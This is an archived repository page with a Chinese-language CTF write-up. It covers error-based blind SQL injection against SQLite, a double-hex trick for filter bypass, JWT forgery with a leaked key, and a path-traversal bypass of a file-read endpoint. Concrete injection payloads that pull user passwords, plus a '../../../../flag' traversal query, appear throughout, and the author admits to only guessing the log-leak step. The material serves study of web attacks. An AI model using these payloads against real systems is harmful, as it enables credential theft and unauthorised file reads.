Skip to content
This repository was archived by the owner on Aug 19, 2025. It is now read-only.

mix-archive/Deprecated

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Write Up

0x00 思路

  • POST /feedback 有 SQL 注入
    • insert 注入,只能写 messages 表而且读不出来,但有报错回显
    • 可以基于报错的盲注
    • 引号有转义,还有一堆子串过滤
    • 想办法读出来 admin 的密码
  • GET /viewlog 能看 system.log,不知道里面有什么
    • 需要用户名是 admin
    • 猜测从 system.log 里能拿到 privatekey.pem
  • GET /checkfile 能读文件
    • 需要用户名是 admin,并且权限是 File-Priviledged-User(在 JWT 里)
    • 读文件有过滤,想办法绕过

0x01 SQLite 注入

  1. SQLite 不存在报错注入(通过报错直接回显的那种)
  2. SQLite 没有 sleep,时间盲注仅有基于 randomblob 函数的方法,但 blob 被过滤了
  3. 可以做 基于报错的盲注

bypass 引号转义

其实不需要额外做什么就能逃逸出字符串,因为 SQLite 根本不吃反斜杠转义。

假设它吃的话,可以构造:\' || {} )--,转义后会变成 \\' || {} )--,拼接进去变成 ...VALUES('\\' || {} )--'{} 是注入点。

SQLite3 中也可以用 RETURNING,比如:\') RETURNING (SELECT * FROM flag)。不过我们当然拿不到返回值。

但是,引号转义导致我们后面构造 payload 的时候不能使用引号。

基于报错的盲注

能产生报错的合法表达式:

abs(-9223372036854775808) 或 abs(0x8000000000000000)
load_extension(0)
json('')

把它们构造进条件语句中,检查是否报错来实现盲注,例:

AND CASE WHEN 1=2 THEN 1 ELSE json('') END

替换 1=2 为盲注子句即可……吗?

有问题!由于不能使用引号,unicodechar 等函数也被过滤了,我们不太好构造字符串

其实,既然 messages 表可以自由插入,那我们理论上能通过一些体操构造出来任意字符,但这个方案有点灵车

这时候我刚好搜到了一篇 5 年前的博客,发现一道很像的题:CTF中的SQLite总结Cheat Sheet #SQLite Voting

其中提到了一个双重 hex 的 trick。例如:

SELECT hex('flag');
/* 666C6167 */
SELECT hex(hex('flag'));
/* 3636364336313637 */

这样我们可以把任何返回值为字符串的表达式转为纯数字字符串

不过,'1234' = 1234 这样的表达式在 SQLite 里是假值,因为它不会自动做类型转换。 对于较短的整型,可以用 trim 函数帮助转换:

SELECT '1234' = trim(1234);
/* 1 */

trim(0,0) 还能返回一个空串。

这样我们就可以做常规盲注了:

' || CASE WHEN hex(hex(substr((SELECT group_concat(password) FROM users), 1, 1))) = trim(3338) THEN 1 ELSE json(trim(0,0)) END )--

五年前那道题还额外过滤了 [in|sub]str,所以他用了另一种方法:通过遍历,找到双重 hex 之后那个纯数字字符串的具体值,然后解双重 hex 得到原始结果。

当然为了实现这个效果还要做一堆体操:

abs(
    ifnull(
        nullif(
            max(
                hex(hex((/* 注入表达式 */))),
                /* NUMBER */
            ),
            /* NUMBER */
        ),
        0x8000000000000000
    )
)

NUMBER 过长时,隐式转换会将其转为科学计数法的字符串,然后按字典序比较。解决方案是:用 || 逐位拼接出超长的 NUMBER 字符串,强制按字典序比较。当然要保证长度一致。

0x02 提权

通过 SQL 注入拿到 admin 密码后就可以通过 /viewlogsystem.log 了。当时赛场上没做到这一步,所以 system.log 里到底有啥我也不知道,根据上下文,我只能猜里面通过某种方式泄露出了 privatekey.pem

拿到私钥之后,自然可以随便篡改 JWT,重新签一个 File-Priviledged-User 权限的即可调 /checkfile

0x03 绕过 /checkfile

很典型的动态类型语言大粪,给 file 传一个数组即可绕过:

?file=&file=&file=&file=&file=&file=&file=&file=&file=&file=../../../../flag&file=.&file=log

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published